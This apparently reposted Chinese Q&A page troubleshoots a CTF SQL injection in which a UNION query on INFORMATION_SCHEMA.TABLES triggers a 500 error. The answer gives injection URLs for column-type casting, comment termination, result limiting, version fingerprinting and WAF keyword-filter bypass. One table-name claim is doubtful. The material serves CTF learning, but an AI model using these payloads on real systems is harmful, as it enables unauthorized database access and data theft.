You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

CTF中用UNION查询获取表名失败,触发500内部服务器错误

CTF SQL注入:查询INFORMATION_SCHEMA.TABLES触发500错误排查

问题背景

已定位SQL注入点并确定原查询列数为4,使用UNION SELECT 1,1,1,1可得到正常响应,但尝试查询系统表获取表名时触发500内部服务器错误:

正常验证语句

http://example.come/search.php?search=ball'UNION SELECT 1,1,1,1'

触发错误的语句

http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES'

排查方案

  • 字符类型不匹配:原查询的第一列可能是数字类型,而table_name是字符串类型,类型冲突会导致数据库报错。可以尝试调整列位置(比如把table_name放到第二列:UNION SELECT 1,table_name,1,1),或者将table_name转换为兼容类型:

    http://example.come/search.php?search=ball'UNION SELECT CAST(table_name AS CHAR),1,1,1 FROM INFORMATION_SCHEMA.TABLES'
    
  • 结果集过大:INFORMATION_SCHEMA.TABLES包含大量系统表数据,返回过多结果可能导致服务器异常。先限制返回数量测试:

    http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1'
    
  • 语句闭合不完整:原查询可能在注入语句后还有未处理的引号,导致语法错误。添加注释符号忽略后续内容:

    http://example.come/search.php?search=ball'UNION SELECT table_name,1,1,1 FROM INFORMATION_SCHEMA.TABLES -- '
    

    注:-- 后面需要加空格,部分MySQL环境也可用#作为注释符。

  • WAF/关键词过滤:环境可能对INFORMATION_SCHEMA做了过滤,尝试绕过:

    • 大小写混合:information_schema.tables
    • 注释分割:INFOR/*test*/MATION_SCHEMA.TABLES
    • 数据库特定替代表:比如MySQL可用sys.tables,PostgreSQL用pg_tables,SQL Server用sys.tables
  • 确认数据库类型:不同数据库的系统表结构不同,先查询版本信息确认:

    • MySQL:
      http://example.come/search.php?search=ball'UNION SELECT VERSION(),1,1,1 -- '
      
    • SQL Server:
      http://example.come/search.php?search=ball'UNION SELECT @@VERSION,1,1,1 -- '
      

内容的提问来源于stack exchange,提问作者Subhash S

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.26 09:02:19